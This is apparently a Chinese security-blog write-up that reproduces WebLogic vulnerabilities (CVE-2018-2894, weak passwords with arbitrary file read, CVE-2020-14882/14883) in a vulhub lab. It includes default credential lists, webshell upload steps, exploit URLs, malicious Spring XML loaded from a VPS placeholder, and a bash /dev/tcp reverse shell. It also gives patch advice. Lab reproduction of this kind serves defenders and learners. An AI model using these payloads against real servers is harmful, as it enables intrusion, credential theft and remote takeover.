STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
漏洞描述
Weblogic任意文件上传漏洞(CVE-2018-2894)
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。
Web 测试页面在“生产模式”下默认不开启,所以该漏洞有限制。利用该漏洞,可以上传任意jsp文件,继而获取服务器权限。
影响版本
WebLogic :10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
复现过程
(1)启动vulhub漏洞环境,访问
http://192.168.14.128:7001/console,看到后台登录页面。执行:docker-compose logs | grep password即可查看管理员密码,管理员用户名为weblogic。
(2)登录后台后,点击base_domain的配置,在"Advanced"中开启"启用Web服务测试页"选项,在最下方点击save保存。
(3)访问http://192.168.14.128:7001/ws_utc/config.do,将当前的工作目录为更改为其他目录,提交保存。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
(4)选择旁边的“安全”栏目,点击添加,然后上传哥斯拉生成的jsp木马。
(5)上传过程中使用burpsuite抓包,查看返回的数据包获取时间戳。哥斯拉连接以下URL,即webshell所在位置。
http://192.168.14.128:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
修复建议
(1)设置config.do,begin.do页面登录授权后才能访问
(2)更新产品版本,安装安全补丁
漏洞描述
Weblogic弱口令&文件读取漏洞
weblogic后台存在一个弱口令,并且前台存在任意文件读取漏洞。weblogic密码使用AES加密,找到用户的密文与加密时的密钥即可解密。
影响版本
weblogic版本:10.3.6(11g)
复现过程
启动vulhub漏洞环境
弱口令
访问http://192.168.14.128:7001/console/,即为weblogic后台。使用弱口令成功登录后台,
weblogic:Oracle@123
weblogic常见弱口令
用户名 | 密码 |
system | password |
weblogic | weblogic |
admin | security |
joe | password |
mary | password |
system | security |
wlcsystem | wlcsystem |
wlpisystem | wlpisystem |
任意文件读取
(1)vulhub漏洞环境前台模拟了一个任意文件下载漏洞,访问
http://192.168.14.128:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。
(2)用户的密文和加密时的密钥均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在vulhub漏洞环境中
为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录
/root/Oracle/Middleware/user_projects/domains/base_domain)
(3)SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,不要直接复制,用十六进制(Hex)打开,选中响应正文,右键copy to file就可以保存成一个文件:
(4)config.xml是base_domain的全局配置文件,找到其中的的值,即为加密后的管理员密码。
(5)使用vulhub漏洞环境中自带的解密脚本即可解密。在java1.8环境下解密成功。
后台上传webshell
(1)登录后台,在左侧列表中找到“部署”,点击安装上传文件
(2)哥斯拉上传一个war包 jar cvf cmd.war cmd.jsp
一直点击下一步即可
(3)使用哥斯拉连接上传的webshell
修复建议
将weblogic版本升级到最新版本。
漏洞描述
Weblogic未认证远程命令执行(CVE-2020-14882_CVE-2020-14883)
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。
影响版本
Weblogic : 10.3.6.0.0
Weblogic : 12.1.3.0.0
Weblogic : 12.2.1.3.0
Weblogic : 12.2.1.4.0
Weblogic : 14.1.1.0.0
复现过程
(1)启动vulhub漏洞环境,访问
http://192.168.14.128:7001/console/查看管理员控制台登录页面。
(2)使用以下URL绕过控制台组件的身份认证,未授权访问到管理后台页面。
http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal
但此时访问后台是一个低权限的用户,无法安装应用,也无法直接执行任意代码,也无权上传webshell。
(3)CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。
第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
PS:
第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类
com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。
第一种方法
(1)访问以下 URL 以链接 2 个漏洞并从
com.tangosol.coherence.mvel2.sh.ShellSession以下位置执行命令:
http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
可看到touch /tmp/success1命令已成功执行
第二种方法
(1)制作一个恶意的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。这里我放在vps的/var/www/html目录下。
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
(2)通过访问以下URL,weblogic将加载此XML并执行其中的命令。
http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")
(3)进入容器,即可看到success2被创建
(4)反弹shell
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vps_IP/8899 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans
访问以下URL,同时攻击者主机上监听端口
http://192.168.14.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")
修复建议
安装Oracle官方发布的补丁程序https://www.oracle.com/security-alerts/cpuoct2020traditional.html
征稿通知
知识应该被分享,安全更需携手共进
RECRUITMENT
招聘启事
END
长按识别二维码关注我们
原文始发于微信公众号(雷神众测):基于Weblogic的一系列漏洞复现总结(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论